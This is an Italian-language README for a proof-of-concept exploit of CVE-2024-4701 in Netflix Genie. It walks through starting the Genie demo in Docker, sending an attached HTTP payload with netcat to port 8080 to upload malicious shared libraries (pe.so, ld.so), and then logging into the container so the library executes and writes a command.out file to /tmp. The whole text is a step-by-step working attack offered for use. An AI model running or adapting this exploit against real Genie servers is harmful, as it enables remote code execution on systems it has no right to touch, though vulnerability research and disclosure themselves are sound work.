
POC per CVE-2024-4701
POC per CVE-2024-4701
Scarica il file docker di genie da https://netflix.github.io/genie/docs/4.3.0/demo/docker-compose.yml o da questo repository
esegui
docker-compose up
Scarica il payload http allegato loadlib
Esegui il seguente comando
nc -w 5 localhost 8080 < loadlib
Potrebbe essere necessario installare netcat ( nc )
Questo invierà il payload all'app genie in esecuzione in docker, che carica i file pe.so e ld.so.upload.
Quindi accedi al container docker genie-app
docker exec -it genie_demo_app_4.3.0 /bin/bash
L'atto di accesso attiva l'esecuzione della libreria malevola, quindi subito dopo esegui
ls /tmp/
Per vedere il file command.out scritto su disco.